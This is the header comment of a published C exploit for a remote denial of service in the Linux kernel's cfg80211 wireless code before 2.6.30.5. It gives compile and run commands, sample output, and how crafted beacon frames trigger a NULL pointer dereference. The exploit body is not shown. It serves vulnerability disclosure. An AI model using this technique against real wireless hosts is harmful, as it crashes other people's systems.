Linux Kernel < 2.6.30.5 - 'cfg80211' Remote Denial of Service

/*
 * cfg80211-remote-dos.c
 *
 * Linux Kernel < 2.6.30.5 cfg80211 Remote DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://patchwork.kernel.org/patch/41218/
 *
 *   These pointers can be NULL, the is_mesh() case isn't ever hit in the 
 *   current kernel, but cmp_ies() can be hit under certain conditions.
 *
 * Usage:
 *
 *   $ gcc cfg80211-remote-dos.c -o cfg80211-remote-dos -lorcon
 *   $ airmon-ng start wlan0
 *   ...
 *   $ ./cfg80211-remote-dos mon0 mac80211
 *   [+] Initializing interface mon0...
 *   [+] Injecting crafted DoS beacon frames...
 *
 * Notes:
 *
 *   The NULL pointer dereference is triggered if the victim scans and receives
 *   a beacon frame that does not contain a SSID IE and then receives another 
 *   one that does have a SSID IE.  Raw frame injection via LORCON is required 
 *   on the wireless interface.  This should only affect the 2.6.30 series.
